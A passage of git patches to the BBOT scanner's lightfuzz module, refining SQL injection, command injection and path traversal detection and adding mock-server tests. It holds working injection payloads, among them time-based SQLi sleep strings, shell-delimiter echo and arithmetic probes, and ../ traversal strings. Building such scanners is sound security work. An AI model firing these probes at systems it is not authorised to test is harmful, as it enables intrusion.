({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", - } + # Confirmation loop: require 2 additional rounds with fresh baselines + # to confirm the status-code triplet is stable and not a transient CDN/server flap. + # TODO: apply this same confirmation pattern to other submodules that use compare_probe-based detection. + initial_status_codes = ( + http_compare.baseline.status_code, + single_quote[3].status_code, + double_single_quote[3].status_code, ) + confirmed = await self._confirm_code_change(probe_value, cookies, initial_status_codes) + if confirmed: + # Build probe body descriptions for triage + baseline_desc = self.describe_probe_request( + "baseline", + { + "method": http_compare.method, + "url": http_compare.baseline_url, + "data": http_compare.data, + "json": http_compare.json, + }, + ) + sq_desc = self.describe_probe_request("sq", sq_request) + dq_desc = self.describe_probe_request("dq", dq_request) + self.results.append( + { + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MEDIUM", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]{baseline_desc}{sq_desc}{dq_desc}", + } + ) else: self.debug("Failed to get responses for both single_quote and double_single_quote") except HttpCompareError as e: diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index fba50251a2..93b848031e 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -272,7 +272,8 @@ async def finish(self): async def filter_event(self, event): # Filter out static endpoints - if event.url.endswith(tuple(f".{ext}" for ext in self.config.get("url_extension_static", []))): + ext = getattr(event, "url_extension", None) + if ext and ext in self.scan.config.get("url_extension_static", []): return False # We don't need to look at WEB_PARAMETERS that we produced diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index cac3d49fe5..a86022f84d 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -138,6 +138,44 @@ async def test_events(events, helpers): with pytest.raises(ValidationError, match=".*status tag.*"): scan.make_event("https://evilcorp.com", "URL", events.ipv4_url) + # url_extension: URL events + css_url = scan.make_event("https://evilcorp.com/style.css?v=1", dummy=True) + assert getattr(css_url, "url_extension", "") == "css" + assert "extension-css" in css_url.tags + js_url = scan.make_event("https://evilcorp.com/app.js", dummy=True) + assert getattr(js_url, "url_extension", "") == "js" + no_ext_url = scan.make_event("https://evilcorp.com/search", dummy=True) + assert getattr(no_ext_url, "url_extension", "NOT_SET") == "NOT_SET" + + # url_extension: WEB_PARAMETER events (dict events with URLs) + wp_css = scan.make_event( + { + "host": "evilcorp.com", + "type": "GETPARAM", + "name": "v", + "original_value": "1", + "url": "https://evilcorp.com/style.css?v=1", + "description": "test", + }, + "WEB_PARAMETER", + dummy=True, + ) + assert getattr(wp_css, "url_extension", "") == "css" + assert "extension-css" in wp_css.tags + wp_no_ext = scan.make_event( + { + "host": "evilcorp.com", + "type": "GETPARAM", + "name": "q", + "original_value": "test", + "url": "https://evilcorp.com/search?q=test", + "description": "test", + }, + "WEB_PARAMETER", + dummy=True, + ) + assert getattr(wp_no_ext, "url_extension", "NOT_SET") == "NOT_SET" + # http response assert events.http_response.host == "example.com" assert events.http_response.port == 80 diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 4de37b9fe6..eb8137e45e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1097,8 +1097,10 @@ def check(self, module_test, events): excavate_extracted_form_parameter_details = True if e.type == "FINDING": if ( - e.data["description"] - == "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM]" + in e.data["description"] + and "Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + in e.data["description"] ): lightfuzz_serial_detect_errorresolution = True @@ -1200,8 +1202,10 @@ def check(self, module_test, events): if e.data["description"] == "HTTP response (body) contains a possible serialized object (DOTNET)": excavate_detect_serialization_value = True if ( - e.data["description"] - == "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Original Value: [AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==] Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + "POSSIBLE Unsafe Deserialization. Parameter: [TextBox1] Parameter Type: [POSTPARAM] Original Value: [AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==]" + in e.data["description"] + and "Technique: [Error Resolution (Baseline: [500] -> Probe: [200] )] Serialization Payload: [dotnet_base64]" + in e.data["description"] ): lightfuzz_serial_detect_errorresolution = True @@ -3046,3 +3050,173 @@ def check(self, module_test, events): assert not sqli_finding_emitted, ( "SQLi should NOT be reported when single quote probe triggers a WAF 403 response" ) + + +# SQLi flappy baseline: server alternates between status codes across rounds. +# The confirmation loop should detect the instability and suppress the finding. +class Test_Lightfuzz_sqli_flappy_baseline(Test_Lightfuzz_sqli): + """SQLi negative test: server flaps between 200 and 303 across requests. + The confirmation loop should detect unstable baselines and suppress the finding.""" + + request_count = 0 + + def request_handler(self, request): + self.__class__.request_count += 1 + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + # First round: return the classic 200->500->200 pattern to trigger initial detection + # Subsequent rounds: flap baseline to 303 to simulate CDN instability + if self.__class__.request_count > 12: + # After initial probes, start flapping the baseline + return Response("Redirecting", status=303, headers={"Location": "/"}) + + if value.endswith("'"): + if value.endswith("''"): + return Response("

normal

", status=200) + return Response("

error

", status=500) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + web_parameter_emitted = False + sqli_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + if "Possible SQL Injection" in e.data["description"] and "Code Change" in e.data["description"]: + sqli_finding_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert not sqli_finding_emitted, ( + "SQLi code-change finding should NOT be emitted when baseline is flappy across confirmation rounds" + ) + + +# Verify that code-change SQLi findings include probe body descriptions for triage +class Test_Lightfuzz_sqli_probe_descriptions(Test_Lightfuzz_sqli): + def check(self, module_test, events): + sqli_finding_emitted = False + for e in events: + if e.type == "FINDING" and "Code Change" in e.data.get("description", ""): + desc = e.data["description"] + # Verify probe body descriptions are present + assert "baseline:" in desc, f"Finding description missing baseline probe details: {desc}" + assert "sq:" in desc, f"Finding description missing single-quote probe details: {desc}" + assert "dq:" in desc, f"Finding description missing double-quote probe details: {desc}" + sqli_finding_emitted = True + assert sqli_finding_emitted, "SQLi code-change FINDING not emitted" + + +# Verify that POST SQLi findings include additional_params in the description +class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli"], + } + }, + } + + def request_handler(self, request): + parameter_block = """ + + """ + if "search" in request.form.keys(): + value = request.form["search"] + if value.endswith("'"): + if value.endswith("''"): + return Response("

normal

", status=200) + return Response("

error

", status=500) + return Response("

results

", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + sqli_finding_emitted = False + for e in events: + if e.type == "FINDING" and "Code Change" in e.data.get("description", ""): + desc = e.data["description"] + if "POSTPARAM" in desc: + # POST findings should include additional_params info + assert "Additional Params:" in desc, f"POST finding description missing additional_params: {desc}" + sqli_finding_emitted = True + assert sqli_finding_emitted, "SQLi POST code-change FINDING not emitted" + + +# Verify that lightfuzz rejects WEB_PARAMETER events on static-asset URLs (.pdf, .xml, etc.) +class Test_Lightfuzz_static_url_filter(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli"], + } + }, + } + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + respond_args = {"response_data": "placeholder", "status": 200} + expect_args = {"method": "GET", "uri": "/"} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + # Inject a WEB_PARAMETER event on a .pdf URL + seed_events = [] + parent_event = module_test.scan.make_event( + "http://127.0.0.1:8888/", + "URL", + module_test.scan.root_event, + module="http", + tags=["status-200", "distance-0"], + ) + data = { + "host": "127.0.0.1", + "type": "GETPARAM", + "name": "v", + "original_value": "1", + "url": "http://127.0.0.1:8888/document.pdf?v=1", + "description": "HTTP Extracted Parameter [v]", + } + seed_event = module_test.scan.make_event(data, "WEB_PARAMETER", parent_event, tags=["distance-0"]) + seed_events.append(seed_event) + for event in seed_events: + await module_test.scan.ingress_module.incoming_event_queue.put(event) + + def check(self, module_test, events): + sqli_finding_emitted = False + for e in events: + if e.type == "FINDING": + if "Possible SQL Injection" in e.data["description"]: + sqli_finding_emitted = True + + assert not sqli_finding_emitted, ( + "SQLi finding should NOT be emitted for WEB_PARAMETER on a static-asset URL (.pdf)" + ) From 70f04cf8ec44e8ae4e6c7c9d3b561456a59ca2ab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 14:46:27 -0400 Subject: [PATCH 12/50] Remove probe request descriptions from sqli findings --- bbot/modules/lightfuzz/submodules/base.py | 23 ----------------------- bbot/modules/lightfuzz/submodules/sqli.py | 16 +--------------- 2 files changed, 1 insertion(+), 38 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 5c2103b1a8..e2536f1ce9 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -209,8 +209,6 @@ async def compare_probe( additional_params_populate_empty, skip_urlencoding, ) - # Stash request params for finding descriptions - self._last_probe_request = dict(request_params) # Perform the comparison using the constructed request parameters url = request_params.pop("url") return await http_compare.compare(url, **request_params) @@ -299,27 +297,6 @@ def outgoing_probe_value(self, outgoing_probe_value): ) return outgoing_probe_value - def describe_probe_request(self, label, request_params): - """Format a probe's request params into a compact string for finding descriptions.""" - if not request_params: - return "" - method = request_params.get("method", "GET") - url = request_params.get("url", "") - data = request_params.get("data") - json_data = request_params.get("json") - if data: - body = "&".join(f"{k}={v}" for k, v in data.items()) - elif json_data: - import json - - body = json.dumps(json_data, separators=(",", ":")) - elif "?" in url: - body = url.split("?", 1)[1] - else: - body = "" - body = self.lightfuzz.helpers.truncate_string(body, 500) - return f" {label}: [{method} {body}]" - def get_submodule_name(self): """Extracts the submodule name from the class name.""" return self.__class__.__name__.replace("Lightfuzz", "").lower() diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index c55a345fff..1e85af3289 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -144,7 +144,6 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) - sq_request = getattr(self, "_last_probe_request", None) double_single_quote = await self.compare_probe( http_compare, self.event.data["type"], @@ -152,7 +151,6 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) - dq_request = getattr(self, "_last_probe_request", None) # if the single quote probe response is different from the baseline if single_quote[0] is False: # check for common SQL error strings in the response @@ -203,24 +201,12 @@ async def fuzz(self): ) confirmed = await self._confirm_code_change(probe_value, cookies, initial_status_codes) if confirmed: - # Build probe body descriptions for triage - baseline_desc = self.describe_probe_request( - "baseline", - { - "method": http_compare.method, - "url": http_compare.baseline_url, - "data": http_compare.data, - "json": http_compare.json, - }, - ) - sq_desc = self.describe_probe_request("sq", sq_request) - dq_desc = self.describe_probe_request("dq", dq_request) self.results.append( { "name": "Possible SQL Injection", "severity": "HIGH", "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]{baseline_desc}{sq_desc}{dq_desc}", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]", } ) else: From 32ae4e552484846990e813f294fa3c377053ff51 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 14:49:51 -0400 Subject: [PATCH 13/50] Add Azure Application Gateway to WAF detection strings --- bbot/core/helpers/misc.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 22e1cf83d8..f2419753be 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2696,6 +2696,7 @@ def get_waf_strings(): "Request unsuccessful. Incapsula incident", "Access Denied - Sucuri Website Firewall", "Attention Required! | Cloudflare", + "Microsoft-Azure-Application-Gateway", ] From aee4fc88a51dcfd070ed95a9a6f4a89cb992d74c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 14 Apr 2026 16:12:53 -0400 Subject: [PATCH 14/50] Fix test assertions for sqli probe description removal and static URL filtering --- .../module_tests/test_module_lightfuzz.py | 15 ---------- .../test_module_paramminer_getparams.py | 28 ++++++++++++------- 2 files changed, 18 insertions(+), 25 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index eb8137e45e..4eb9e0bf21 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -3105,21 +3105,6 @@ def check(self, module_test, events): ) -# Verify that code-change SQLi findings include probe body descriptions for triage -class Test_Lightfuzz_sqli_probe_descriptions(Test_Lightfuzz_sqli): - def check(self, module_test, events): - sqli_finding_emitted = False - for e in events: - if e.type == "FINDING" and "Code Change" in e.data.get("description", ""): - desc = e.data["description"] - # Verify probe body descriptions are present - assert "baseline:" in desc, f"Finding description missing baseline probe details: {desc}" - assert "sq:" in desc, f"Finding description missing single-quote probe details: {desc}" - assert "dq:" in desc, f"Finding description missing double-quote probe details: {desc}" - sqli_finding_emitted = True - assert sqli_finding_emitted, "SQLi code-change FINDING not emitted" - - # Verify that POST SQLi findings include additional_params in the description class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): targets = ["http://127.0.0.1:8888"] diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py index f0aab0a143..5c0aca69d7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py +++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py @@ -258,24 +258,32 @@ class TestParamminer_Getparams_filter_static(TestParamminer_Getparams_finish): """ def check(self, module_test, events): - found_hidden_getparam_recycled = False - emitted_excavate_paramminer_duplicate = False + excavate_extracted_param = False + paramminer_recycled_to_php = False + paramminer_bruted_pdf = False for e in events: if e.type == "WEB_PARAMETER": + if ( + "http://127.0.0.1:8888/test2.pdf" in e.data["url"] + and "HTTP Extracted Parameter [abcd1234]" in e.data["description"] + ): + excavate_extracted_param = True + if ( "http://127.0.0.1:8888/test1.php" in e.data["url"] - and "[Paramminer] Getparam: [abcd1234] Reasons: [body] Reflection: [False]" - in e.data["description"] + and "[Paramminer] Getparam: [abcd1234]" in e.data["description"] ): - found_hidden_getparam_recycled = True + paramminer_recycled_to_php = True if ( "http://127.0.0.1:8888/test2.pdf" in e.data["url"] - and "[Paramminer] Getparam: [abcd1234] Reasons: [body] Reflection: [False]" - in e.data["description"] + and "[Paramminer] Getparam:" in e.data["description"] ): - emitted_excavate_paramminer_duplicate = True + paramminer_bruted_pdf = True - assert found_hidden_getparam_recycled, "Failed to find hidden GET parameter" - assert not emitted_excavate_paramminer_duplicate, "Paramminer emitted parameter for static URL" + # Excavate still extracts the param from the link, but paramminer's filter_event + # drops the WEB_PARAMETER because .pdf is in url_extension_static + assert excavate_extracted_param, "Excavate should still extract the parameter from the HTML link" + assert not paramminer_recycled_to_php, "Paramminer should not recycle words from static-URL WEB_PARAMETERs" + assert not paramminer_bruted_pdf, "Paramminer should not brute-force parameters on static URLs" From b4fb2b7f5e46ad5b300e239adbf243ac85f0d295 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 21:07:38 -0400 Subject: [PATCH 15/50] Lightfuzz FN-hunt round 1: sqli, path, cmdi MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sqli: fix missing-comma bug that concatenated Oracle+MSSQL probes into one malformed string. Add one-shot row-independent SLEEP payloads (`' OR SLEEP(N) IS NOT NULL LIMIT 1-- -`) so blind sqli against non-matching rows still delays predictably. path: add simple `./X` / `../X` probes for stacks that walk paths via the OS (Python open(), Go os.Open, Rust File::open) rather than string-normalizing first. The existing `./a/../X` variants require the intermediate `a/` to exist on disk; the new variants don't. cmdi: three-stage cascade per delimiter — generic echo canary, then POSIX arith `echo \$((A*B))`, then Windows `set /A A*B`. When an arith probe confirms execution, upgrade to HIGH confidence. When only the generic probe fires (no shell confirmation), emit a separate "Possible Parameter Reflection" finding rather than overclaiming cmdi. Preserves the adjacent-vuln reflection signal without mislabeling it. tests: add save-point tests for each new detection path, and bring the rand_string mocks into compliance with numeric_only=True so the new arith code doesn't crash on mocked values. --- bbot/modules/lightfuzz/submodules/cmdi.py | 145 +++++-- bbot/modules/lightfuzz/submodules/path.py | 19 +- bbot/modules/lightfuzz/submodules/sqli.py | 23 +- .../module_tests/test_module_lightfuzz.py | 363 ++++++++++++++++-- 4 files changed, 495 insertions(+), 55 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index dcc3d3a481..3d4f18454c 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -15,6 +15,22 @@ class cmdi(BaseLightfuzz): - Checks if the echoed canary appears in the response without the "echo" itself - Uses a false positive probe to validate findings + * Arithmetic Canary Detection (confirmation cascade): + - When an echo canary match is found, two follow-up probes try to prove + the response was generated by real command execution rather than + textual reflection of probe bytes: + - `echo $((A*B))` — POSIX arithmetic expansion (bash/sh/dash/zsh/ksh) + - `set /A A*B` — Windows cmd.exe native arithmetic + The product A*B never appears in either probe's literal bytes, so + parser-error or template reflections cannot produce it. A match + upgrades the finding to HIGH confidence and labels the shell family. + - If neither arithmetic probe confirms execution, the generic match + is emitted as a "Possible Parameter Reflection" finding (LOW severity) + instead of a cmdi finding — this is honest about what we observed + (the value is reflected into the response) while still surfacing the + endpoint for triage, since reflected values often point at adjacent + vulns the other submodules missed (e.g. SQLi). + * Blind Command Injection: - Injects nslookup commands with unique subdomain tags - Detects command execution through DNS resolution via Interactsh @@ -30,6 +46,12 @@ async def fuzz(self): probe_value = self.incoming_probe_value() canary = self.lightfuzz.helpers.rand_string(10, numeric_only=True) + # Arithmetic canary: the multiplicands are in the probe, but their + # product is NOT — so a response containing the product is evidence + # of arithmetic expansion performed by a real shell. + arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + arith_canary = str(int(arith_a) * int(arith_b)) http_compare = self.compare_baseline( self.event.data["type"], probe_value, cookies ) # Initialize the http_compare object and establish a baseline HTTP response @@ -43,41 +65,92 @@ async def fuzz(self): "|", ] - positive_detections = [] + linux_detections = [] # POSIX arithmetic canary matched → HIGH + windows_detections = [] # cmd.exe arithmetic canary matched → HIGH + reflection_detections = [] # generic matched but neither shell proved execution for p in cmdi_probe_strings: try: - # add "echo" to the cmdi probe value to construct the command to be executed - echo_probe = f"{probe_value}{p} echo {canary} {p}" - # we have to handle our own URL-encoding here, because our payloads include the & character + generic_probe_str = f"{probe_value}{p} echo {canary} {p}" if self.event.data["type"] == "GETPARAM": - echo_probe = urllib.parse.quote(echo_probe.encode(), safe="") + generic_probe_str = urllib.parse.quote(generic_probe_str.encode(), safe="") + + generic_probe = await self.compare_probe( + http_compare, self.event.data["type"], generic_probe_str, cookies, skip_urlencoding=True + ) - # send cmdi probe and compare with baseline response - cmdi_probe = await self.compare_probe( - http_compare, self.event.data["type"], echo_probe, cookies, skip_urlencoding=True + generic_match = ( + generic_probe[3] is not None + and canary in generic_probe[3].text + and "echo" not in generic_probe[3].text ) + if not generic_match: + continue + if p == "AAAA": + self.warning( + f"False Postive Probe appears to have been triggered for {self.event.url}, aborting remaining detection" + ) + return - # ensure we received an HTTP response - if cmdi_probe[3]: - # check if the canary is in the response and the word "echo" is NOT in the response text, ruling out mere reflection of the entire probe value without execution - if canary in cmdi_probe[3].text and "echo" not in cmdi_probe[3].text: - self.debug(f"canary [{canary}] found in response when sending probe [{p}]") - if p == "AAAA": # Handle detection false positive probe - self.warning( - f"False Postive Probe appears to have been triggered for {self.event.url}, aborting remaining detection" - ) - return - positive_detections.append(p) # Add detected probes to positive detections + # Cascade: try POSIX arithmetic first, then Windows cmd + # arithmetic. The product value is never in either probe + # literal, so only real shell execution can place it in the + # response. Either confirmation upgrades to HIGH. + linux_match = await self._arith_confirm( + http_compare, + cookies, + f"{probe_value}{p} echo $(({arith_a}*{arith_b})) {p}", + arith_canary, + p, + "linux", + ) + if linux_match: + linux_detections.append(p) + continue + windows_match = await self._arith_confirm( + http_compare, + cookies, + f"{probe_value}{p} set /A {arith_a}*{arith_b} {p}", + arith_canary, + p, + "windows", + ) + if windows_match: + windows_detections.append(p) + continue + # Generic fired, neither shell confirmed — reflection. + reflection_detections.append(p) + self.debug( + f"echo canary reflected without arithmetic confirmation for [{p}] — " + f"treating as parameter reflection, not cmdi" + ) except HttpCompareError as e: self.debug(e) continue - if len(positive_detections) > 0: + if linux_detections: + self.results.append( + { + "name": "Possible Command Injection", + "severity": "CRITICAL", + "confidence": "HIGH", + "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [arithmetic canary (POSIX)] CMD Probe Delimeters: [{' '.join(linux_detections)}]", + } + ) + if windows_detections: self.results.append( { "name": "Possible Command Injection", "severity": "CRITICAL", - "confidence": "MEDIUM", - "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]", + "confidence": "HIGH", + "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [arithmetic canary (cmd)] CMD Probe Delimeters: [{' '.join(windows_detections)}]", + } + ) + if reflection_detections: + self.results.append( + { + "name": "Possible Parameter Reflection", + "severity": "LOW", + "confidence": "LOW", + "description": f"Parameter value reflected without confirmed shell execution. May indicate adjacent reflection-based vulns. {self.metadata()} Detection Method: [echo canary, no shell confirmation] CMD Probe Delimeters: [{' '.join(reflection_detections)}]", } ) @@ -107,3 +180,31 @@ async def fuzz(self): timeout=15, skip_urlencoding=True, ) + + async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim, shell_label): + """Send a shell-arithmetic confirmation probe and return True iff the + expected product value appears in the response (and the word `echo` + does not, ruling out bulk reflection).""" + if self.event.data["type"] == "GETPARAM": + probe_str = urllib.parse.quote(probe_str.encode(), safe="") + try: + probe = await self.compare_probe( + http_compare, + self.event.data["type"], + probe_str, + cookies, + skip_urlencoding=True, + ) + except HttpCompareError as e: + self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}") + return False + matched = ( + probe[3] is not None + and expected in probe[3].text + and "echo" not in probe[3].text + ) + if matched: + self.debug( + f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]" + ) + return matched diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index b3bda83596..fcd67ff940 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -34,8 +34,25 @@ async def fuzz(self): ) return - # Single dot traversal tolerance test + # Single dot traversal tolerance test. + # The `a/../` variants require the intermediate dummy path component to + # exist during OS path walking (works for frameworks that string-normalize + # before open(), like PHP include). The `simple` variants omit the dummy + # component so they also trigger against stacks that pass paths raw to + # the kernel (Python open(), Go os.Open, Rust File::open, etc.). path_techniques = { + "single-dot traversal tolerance (simple, no-encoding)": { + "singledot_payload": f"./{probe_value}", + "doubledot_payload": f"../{probe_value}", + }, + "single-dot traversal tolerance (simple, leading slash)": { + "singledot_payload": f"/./{probe_value}", + "doubledot_payload": f"/../{probe_value}", + }, + "single-dot traversal tolerance (simple, url-encoding)": { + "singledot_payload": quote(f"./{probe_value}".encode(), safe=""), + "doubledot_payload": quote(f"../{probe_value}".encode(), safe=""), + }, "single-dot traversal tolerance (no-encoding)": { "singledot_payload": f"./a/../{probe_value}", "doubledot_payload": f"../a/../{probe_value}", diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 1e85af3289..6c57b15423 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -214,12 +214,25 @@ async def fuzz(self): except HttpCompareError as e: self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}") - # These are common SQL injection payloads for inducing an intentional delay across several different SQL database types + # Time-based blind SQLi payloads across DB families. Each probe is engineered + # to fire its delay exactly once so the measured elapsed time stays close to + # self.expected_delay regardless of table row count. Row-independent variants + # use `IS NOT NULL` (since SLEEP returns 0 — not NULL) combined with `LIMIT 1` + # to force a single match on the first row scanned. standard_probe_strings = [ - f"'||pg_sleep({str(self.expected_delay)})--", # postgres - f"1' AND (SLEEP({str(self.expected_delay)})) AND '", # mysql - f"' AND (SELECT FROM DBMS_LOCK.SLEEP({str(self.expected_delay)})) AND '1'='1" # oracle (not tested) - f"; WAITFOR DELAY '00:00:{str(self.expected_delay)}'--", # mssql (not tested) + # postgres + f"'||pg_sleep({self.expected_delay})--", + f"' OR (SELECT TRUE FROM pg_sleep({self.expected_delay})) LIMIT 1-- -", + # mysql (row-dependent; fires once when original_value matches a row) + f"1' AND (SLEEP({self.expected_delay})) AND '", + # mysql (row-independent; one SLEEP, exits on first row via LIMIT 1) + f"' OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", + f" OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -", + # oracle (DUAL is single-row so DBMS_LOCK.SLEEP fires once) + f"' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({self.expected_delay})=0) AND '1'='1", + # mssql (stacked query, fires once) + f"'; WAITFOR DELAY '00:00:{self.expected_delay}'--", + f"; WAITFOR DELAY '00:00:{self.expected_delay}'--", ] baseline_1 = await self.standard_probe( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 4eb9e0bf21..691b0a1ec0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -71,6 +71,61 @@ def check(self, module_test, events): assert pathtraversal_finding_emitted, "Path Traversal single dot tolerance FINDING not emitted" +# Path Traversal single-dot tolerance, strict path resolver (Python/Go/Rust style) +# Simulates a server that opens files via a raw OS path walk rather than by +# string-normalizing first (as PHP include() does). Only the "simple" dot probes +# — `./X` and `/./X` — resolve cleanly; the `a/../X` variants fail on the missing +# `a/` component. Guards against regression of the simple-probe coverage path +# that was previously missed on non-PHP stacks. +class Test_Lightfuzz_path_singledot_strict(Test_Lightfuzz_path_singledot): + def request_handler(self, request): + qs = str(request.query_string.decode()) + if "filename=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + block = """ + + + + """ + # Only exact-file or simple-dot-prefixed reads succeed. Any path + # containing `a/../` fails because `a/` does not exist, mirroring + # Python's open() / Go's os.Open behavior on the filesystem. + if value in ( + "default.jpg", + "./default.jpg", + "/./default.jpg", + "%2E%2Fdefault.jpg", + ): + return Response(block, status=200) + return Response("file not found", status=500) + + def check(self, module_test, events): + web_parameter_emitted = False + simple_pathtraversal_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [filename]" in e.data["description"]: + web_parameter_emitted = True + + if e.type == "FINDING": + desc = e.data["description"] + if ( + "POSSIBLE Path Traversal" in desc + and "Parameter: [filename]" in desc + and "single-dot traversal tolerance (simple" in desc + ): + simple_pathtraversal_finding_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert simple_pathtraversal_finding_emitted, ( + "Simple single-dot path traversal FINDING not emitted — " + "strict-resolver detection regression." + ) + + # Path Traversal Absolute path class Test_Lightfuzz_path_absolute(Test_Lightfuzz_path_singledot): etc_passwd = """ @@ -208,7 +263,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + 